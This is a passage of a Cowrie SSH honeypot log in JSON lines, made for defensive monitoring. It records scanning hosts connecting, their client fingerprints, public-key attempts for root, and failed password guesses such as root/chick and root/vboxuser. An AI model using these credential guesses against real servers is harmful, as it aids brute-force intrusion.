.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:59.329012Z","src_ip":"124.155.125.131","session":"c2efb98122ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chick","message":"login attempt [root/chick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:00.069805Z","src_ip":"124.155.125.131","session":"c2efb98122ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:01.249503Z","src_ip":"124.155.125.131","session":"c2efb98122ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":56824,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eef4ab1e141","protocol":"ssh","message":"New connection: 149.56.241.206:56824 (10.17.0.5:22) [session: 9eef4ab1e141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.538757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.545067Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.577052Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:1d:55:be:c7:6e:28:4b:1c:d8:ab:66:02:25:48:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrMvYyyCLW1Q8m3pkg3kjC7+n24DS8uP10kOQv+aurS0FBJ2vt7zhzcIslOTKA5xbi6FToEi5zEKZh2c3QkOWdw9yn3gf8Ti1v93Xlts5J6qasssUvMurFI0VSGjZCcNQujGGP52QM+6b4OGvb7xDsoWshJSoj216bWfyjkmv0GZ+QcRPkNxF4dqLt7sOor4gDUKgIwzR+oga5h/LDXQblehr5XjNWlrnqmEfZevEyelNh3+ngf70vAUNkNHX09k3c15Q+aeuzC+qKg0RxrXScbwBm2YuC5vXGj4gg7vV7f+0CPEWz8/IVqEVj3CVlfhY1eWIt3L6h14bpw6saNbR9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:1d:55:be:c7:6e:28:4b:1c:d8:ab:66:02:25:48:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.660474Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:1d:55:be:c7:6e:28:4b:1c:d8:ab:66:02:25:48:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrMvYyyCLW1Q8m3pkg3kjC7+n24DS8uP10kOQv+aurS0FBJ2vt7zhzcIslOTKA5xbi6FToEi5zEKZh2c3QkOWdw9yn3gf8Ti1v93Xlts5J6qasssUvMurFI0VSGjZCcNQujGGP52QM+6b4OGvb7xDsoWshJSoj216bWfyjkmv0GZ+QcRPkNxF4dqLt7sOor4gDUKgIwzR+oga5h/LDXQblehr5XjNWlrnqmEfZevEyelNh3+ngf70vAUNkNHX09k3c15Q+aeuzC+qKg0RxrXScbwBm2YuC5vXGj4gg7vV7f+0CPEWz8/IVqEVj3CVlfhY1eWIt3L6h14bpw6saNbR9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.667627Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:f6:70:1f:46:f5:12:fc:59:5c:f0:89:83:2d:38:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjcZK2CEhK7ajOERLwHV1I2sl0DYIt1WcaJkN5tH6ZQA/gS8hWDBKqiq9e4USSzygR1JkEOMqA4vIzErMjANUsujLKyQkaRS8rK0GKJzVMkIwuch0Cwu5IbNI0neQWKo5V4lOxQ8Q4R7mnoXPyK1i80MazxWawxi4BBAjj3yNz1JQA87i+3Gy4yD2PR4pPATPp0NrhLzAMKwpnWHN7c8Pvmc8noC4roihaWd/Wj6EtV20/fTQDDNFgD9AfvMj0TKQz5KU/S5sLvAw+7mlHB8czfmwK1uY7LUYyYGe+96BzB3COfcIzpe2AGgtOOv4LmNlUc/oDHur0U7QhayHSv8Zr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:f6:70:1f:46:f5:12:fc:59:5c:f0:89:83:2d:38:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.693320Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:f6:70:1f:46:f5:12:fc:59:5c:f0:89:83:2d:38:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjcZK2CEhK7ajOERLwHV1I2sl0DYIt1WcaJkN5tH6ZQA/gS8hWDBKqiq9e4USSzygR1JkEOMqA4vIzErMjANUsujLKyQkaRS8rK0GKJzVMkIwuch0Cwu5IbNI0neQWKo5V4lOxQ8Q4R7mnoXPyK1i80MazxWawxi4BBAjj3yNz1JQA87i+3Gy4yD2PR4pPATPp0NrhLzAMKwpnWHN7c8Pvmc8noC4roihaWd/Wj6EtV20/fTQDDNFgD9AfvMj0TKQz5KU/S5sLvAw+7mlHB8czfmwK1uY7LUYyYGe+96BzB3COfcIzpe2AGgtOOv4LmNlUc/oDHur0U7QhayHSv8Zr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.701073Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:44:be:3d:04:63:73:07:5c:b7:67:81:73:f3:4f:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZjm2HYJwt3vDdy2gXempTf2PI6Kl6lDxkxxGKCLrecrQDTOhverq6jENFgUwK752Y43umFCkHZTbSFSAiMFSDBj+4o9qIydkEHOVveE1pQC0VlL76GA/lJR84Ue83s6tVwyXMLrwEpPi9CVRtzVEpwIYrCFDUK2/gqlOXmBrWPQiTRz4Mq4T2+VwVdG5DZtC+m09D8xy9spG3G1m4FmRCjvqZ8jUh6MZIho2xLseb5qpnlzBTNjuk93kYyu2T+QcqmN134yKe6PrZ1LzJ6PBPIp1yzAuQ8rycuEka99BD8fBzneLSz9TeY6wnrjUHBDzXAdqqDHXHo8qbitAaOq4r5h49hS95qbJoGydaMX0EvMwSpoiRAWqQLzBWqnmPk91bH5JEz3XVmE+gOAT6gsmzEC8DTEhXyH35nbsvDxPwwHZj51aeIhdyyFHK2KSQCq2nDubp8MjagiarKhNCQ9rLEA97xbelLOXxjqwaltZvGNye7JMRI2RQoLycQZr+gBE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:44:be:3d:04:63:73:07:5c:b7:67:81:73:f3:4f:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.731745Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:44:be:3d:04:63:73:07:5c:b7:67:81:73:f3:4f:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZjm2HYJwt3vDdy2gXempTf2PI6Kl6lDxkxxGKCLrecrQDTOhverq6jENFgUwK752Y43umFCkHZTbSFSAiMFSDBj+4o9qIydkEHOVveE1pQC0VlL76GA/lJR84Ue83s6tVwyXMLrwEpPi9CVRtzVEpwIYrCFDUK2/gqlOXmBrWPQiTRz4Mq4T2+VwVdG5DZtC+m09D8xy9spG3G1m4FmRCjvqZ8jUh6MZIho2xLseb5qpnlzBTNjuk93kYyu2T+QcqmN134yKe6PrZ1LzJ6PBPIp1yzAuQ8rycuEka99BD8fBzneLSz9TeY6wnrjUHBDzXAdqqDHXHo8qbitAaOq4r5h49hS95qbJoGydaMX0EvMwSpoiRAWqQLzBWqnmPk91bH5JEz3XVmE+gOAT6gsmzEC8DTEhXyH35nbsvDxPwwHZj51aeIhdyyFHK2KSQCq2nDubp8MjagiarKhNCQ9rLEA97xbelLOXxjqwaltZvGNye7JMRI2RQoLycQZr+gBE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.742424Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:4c:c6:09:57:ce:ef:f2:fe:df:e9:33:2c:a1:8f:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDusTMFXZ6LtGkap8GQmax3EK9Ztc2JZrgmYx6ZsmhlSsdipHIdgGk2qjaE/XzKhDFYyrTwl3YPBgT+qjnDIIfqBgLtnsIJyx/EKJJ/tVN6ZegntQbVSwuuFkad3ovnsrZsqVTKTg63U4t5m2NVzzfn9i0EFsrCIRByL6hmtWlwjFXJmg9zlRUEr7vAuevpcJrdCdGvv7AShtSGy4K6IsBRoWCySGH9pqwMU4mtzMURpiiy7EifBGIDoRmzXfyg63fniH64oRJgtKEP5K39O3T+dLNjHuRXcSKzyZv49vXQopKwiTbZ20BwMLC5pvbH/47eQpQRzWC2RUCzyBBmy9xUz3UWLi9EMwihaWP6DyujajADvWg9MsKbX/DxhlzS1DoL1z5Gf08hrIpHBgETe5sAup4e967k+1+FFlqtMCWpalr6/G1PHjzdjV3doILBxf2cm1qTYjYkG3TsE6mjtN5nZ7feWxbrscpW/OMLZSDFPneaqWxjwGqiIx8Anv7zhCjCiFDB9a1Xv73auY8i6EqI7mufa+KW1GxgqUkkLx1XpgQ4P+V9imveK9yyUSMy89Axfo3I0DE1Zxgok+pXVSVttExEjsn6xG2Ovr7IItlNmSmrx6MjfS2+cfSBlyjK9nZkuhwsO4FduTmOKV/gG5Fg6FzNeHJXmRb0SQVZqEDTpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:4c:c6:09:57:ce:ef:f2:fe:df:e9:33:2c:a1:8f:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.769543Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:4c:c6:09:57:ce:ef:f2:fe:df:e9:33:2c:a1:8f:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDusTMFXZ6LtGkap8GQmax3EK9Ztc2JZrgmYx6ZsmhlSsdipHIdgGk2qjaE/XzKhDFYyrTwl3YPBgT+qjnDIIfqBgLtnsIJyx/EKJJ/tVN6ZegntQbVSwuuFkad3ovnsrZsqVTKTg63U4t5m2NVzzfn9i0EFsrCIRByL6hmtWlwjFXJmg9zlRUEr7vAuevpcJrdCdGvv7AShtSGy4K6IsBRoWCySGH9pqwMU4mtzMURpiiy7EifBGIDoRmzXfyg63fniH64oRJgtKEP5K39O3T+dLNjHuRXcSKzyZv49vXQopKwiTbZ20BwMLC5pvbH/47eQpQRzWC2RUCzyBBmy9xUz3UWLi9EMwihaWP6DyujajADvWg9MsKbX/DxhlzS1DoL1z5Gf08hrIpHBgETe5sAup4e967k+1+FFlqtMCWpalr6/G1PHjzdjV3doILBxf2cm1qTYjYkG3TsE6mjtN5nZ7feWxbrscpW/OMLZSDFPneaqWxjwGqiIx8Anv7zhCjCiFDB9a1Xv73auY8i6EqI7mufa+KW1GxgqUkkLx1XpgQ4P+V9imveK9yyUSMy89Axfo3I0DE1Zxgok+pXVSVttExEjsn6xG2Ovr7IItlNmSmrx6MjfS2+cfSBlyjK9nZkuhwsO4FduTmOKV/gG5Fg6FzNeHJXmRb0SQVZqEDTpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.777128Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:c8:7c:59:f3:de:8c:b5:95:50:d8:f8:7c:a3:de:78","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANATBMjbmyV0dOzfsfoNEDZHVP7Zs2Gybmf7hlWiv/gKF1BX/udJnF5aG+hAspM6LJrYUQNx289WomVJHkQ26Pw24PqBbHCRJXCZCRJ84VoM2AwMh5EOv/smor40tH8ee8LrbbPeLC6nSqulwgOGM/siyv6FaldnXEkqLk4B+Y7dAAAAFQD0FIpqlHRhtkfe6a8ksgHEh+KeBQAAAIA1NbE1TVJykR3Lqmbaff1Q3ZtdL1DD39vsikMNatYBqmmeJcSPBoNZ4pwNzZwRNn++WaqjTrrFmrYhD7h/BFttwtOUdoPESVKMNQhdfDENtxKG+hUtJh+heilM+xWZxeSlo4FKLYulyKoOF2DmuJGVFkRwYUDPG1E55aQRRhadBgAAAIEAw8Yz0Yxxhl4NJCCJfFcyV0ij9A2jek0O/sUys4dhdmj/QuZ3WbHiDK5poqi0MgLAdmCvvbw0gB4Jaayq5cfhyllx4mv3dSmQJq8P3NCGOuK5s/Bl3UAQ9YHrzO2MDTEVctGnWh8+2R/KgpPzPKpycPS2ojPgr+Wk8FoDzHrXais=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 60:c8:7c:59:f3:de:8c:b5:95:50:d8:f8:7c:a3:de:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.805347Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:c8:7c:59:f3:de:8c:b5:95:50:d8:f8:7c:a3:de:78","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANATBMjbmyV0dOzfsfoNEDZHVP7Zs2Gybmf7hlWiv/gKF1BX/udJnF5aG+hAspM6LJrYUQNx289WomVJHkQ26Pw24PqBbHCRJXCZCRJ84VoM2AwMh5EOv/smor40tH8ee8LrbbPeLC6nSqulwgOGM/siyv6FaldnXEkqLk4B+Y7dAAAAFQD0FIpqlHRhtkfe6a8ksgHEh+KeBQAAAIA1NbE1TVJykR3Lqmbaff1Q3ZtdL1DD39vsikMNatYBqmmeJcSPBoNZ4pwNzZwRNn++WaqjTrrFmrYhD7h/BFttwtOUdoPESVKMNQhdfDENtxKG+hUtJh+heilM+xWZxeSlo4FKLYulyKoOF2DmuJGVFkRwYUDPG1E55aQRRhadBgAAAIEAw8Yz0Yxxhl4NJCCJfFcyV0ij9A2jek0O/sUys4dhdmj/QuZ3WbHiDK5poqi0MgLAdmCvvbw0gB4Jaayq5cfhyllx4mv3dSmQJq8P3NCGOuK5s/Bl3UAQ9YHrzO2MDTEVctGnWh8+2R/KgpPzPKpycPS2ojPgr+Wk8FoDzHrXais=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.810775Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:03.833177Z","src_ip":"149.56.241.206","session":"9eef4ab1e141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":58860,"dst_ip":"159.203.135.109","dst_port":22,"session":"3179e6df50c4","protocol":"ssh","message":"New connection: 139.59.208.49:58860 (159.203.135.109:22) [session: 3179e6df50c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:13.418307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:13.423900Z","src_ip":"139.59.208.49","session":"3179e6df50c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:13.508413Z","src_ip":"139.59.208.49","session":"3179e6df50c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:13.870441Z","src_ip":"139.59.208.49","session":"3179e6df50c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:14.962581Z","src_ip":"139.59.208.49","session":"3179e6df50c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"decc55c21def","protocol":"ssh","message":"New connection: 221.161.235.168:53304 (159.203.135.109:22) [session: decc55c21def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:23.781736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:23.787499Z","src_ip":"221.161.235.168","session":"decc55c21def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:23.980633Z","src_ip":"221.161.235.168","session":"decc55c21def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vboxuser","message":"login attempt [root/vboxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:24.781752Z","src_ip":"221.161.235.168","session":"decc55c21def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:25.981230Z","src_ip":"221.161.235.168","session":"decc55c21def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":53392,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a0f30c2a38","protocol":"ssh","message":"New connection: 88.147.30.59:53392 (159.203.135.109:22) [session: 06a0f30c2a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:34.947385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:34.951707Z","src_ip":"88.147.30.59","session":"06a0f30c2a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.076314Z","src_ip":"88.147.30.59","session":"06a0f30c2a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":40724,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f02c9a47d99","protocol":"ssh","message":"New connection: 190.167.237.191:40724 (159.203.135.109:22) [session: 1f02c9a47d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:50:35.564057Z"}
